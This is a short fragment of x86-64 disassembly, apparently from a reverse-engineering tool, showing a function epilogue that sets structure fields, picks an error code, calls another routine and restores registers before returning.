mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1800237c0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1800237b9
mov eax, dword [rsi + 0x2c]
jmp 0x1800237be
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.180032788
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret